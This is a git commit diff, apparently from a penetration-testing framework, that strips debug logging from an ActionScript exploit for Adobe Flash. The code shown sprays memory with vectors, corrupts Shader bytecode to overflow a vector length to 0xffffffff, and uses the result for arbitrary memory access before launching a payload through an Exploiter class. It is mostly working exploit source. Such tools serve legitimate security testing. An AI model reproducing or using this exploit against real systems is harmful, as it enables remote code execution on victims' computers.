Delete debug

bug/bundler_fix
jvazquez-r7 2015-06-11 17:39:36 -05:00
parent 8ed13b1d1b
commit 72672fc8f7
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
3 changed files with 13 additions and 22 deletions

Binary file not shown.

View File

@ -1,4 +1,6 @@
//compile with AIR SDK 13.0: mxmlc Exploit.as -o Exploit.swf
//compile with AIR SDK 13.0: mxmlc Exploit.as -o msf.swf
// It uses original code from @hdarwin89 for exploitation using ba's and vectors
package {
import flash.display.Sprite
import flash.utils.ByteArray
@ -43,7 +45,6 @@ package {
var corrupted_vector_idx:int = -1
// Memory massage
Logger.log("Memory massage")
var array_length:uint = 0x10000
var vector_size:uint = 34
var array:Array = new Array()
@ -67,24 +68,15 @@ package {
{
array[(i - (2 * (j % 2)))].length = 0x0100
array[(i - (2 * (j % 2)))][0] = 0xdeedbeef
array[(i - (2 * (j % 2)))][1] = 0xdeadbeef
array[(i - (2 * (j % 2)))][2] = (i - (2 * (j % 2)))
i = (i + 28)
j++
}
// Overflow and Search for corrupted vector
Logger.log("Overflow and Search for corrupted vector")
var shadba:ByteArray = (new this.Shad() as ByteArray)
shadba.position = 232
if (Capabilities.os.indexOf("Windows 8") >= 0)
{
shadba.writeUnsignedInt(2472)
}
shadba.position = 0
Logger.log("corrupting")
shader = new Shader()
try
{
@ -103,13 +95,11 @@ package {
}
if (corrupted_vector_idx == -1) {
Logger.log("Exploit - Corrupted vector not found.")
return
}
for(i = 0; i < array[corrupted_vector_idx].length; i++) {
if (array[corrupted_vector_idx][i] == 0x0100 && array[corrupted_vector_idx][i + 2] == 0xdeedbeef) {
Logger.log("w00t!, found, corrupting ")
array[corrupted_vector_idx][i] = 0xffffffff
offset = i
break
@ -117,24 +107,25 @@ package {
}
if (offset == -1) {
Logger.log("Exploit - Secondary vector not corrupted")
return
}
for(i = 0; i < array.length; i++) {
if (array[i].length == 0xffffffff) {
Logger.log("super corrupted found")
uv = array[i]
Logger.log("corrupted vector before fixing : " + array[corrupted_vector_idx].length.toString())
uv[0x3ffffffc - offset] = 34
Logger.log("corrupted vector before fixing : " + array[corrupted_vector_idx].length.toString())
}
}
Logger.log('done? Exploiting!')
for(i = 0; i < array.length; i++) {
if (array[i].length != 0xffffffff) {
delete(array[i])
array[i] = null
}
}
exploiter = new Exploiter(this, platform, os, payload, uv)
// uv[0x3ffffffe] = 0x100
// Logger.log(uv.length.toString())
}
}
}//package
}

View File

@ -3,7 +3,7 @@ package
import flash.external.ExternalInterface
public class Logger {
private static const DEBUG:uint = 1
private static const DEBUG:uint = 0
public static function alert(msg:String):void
{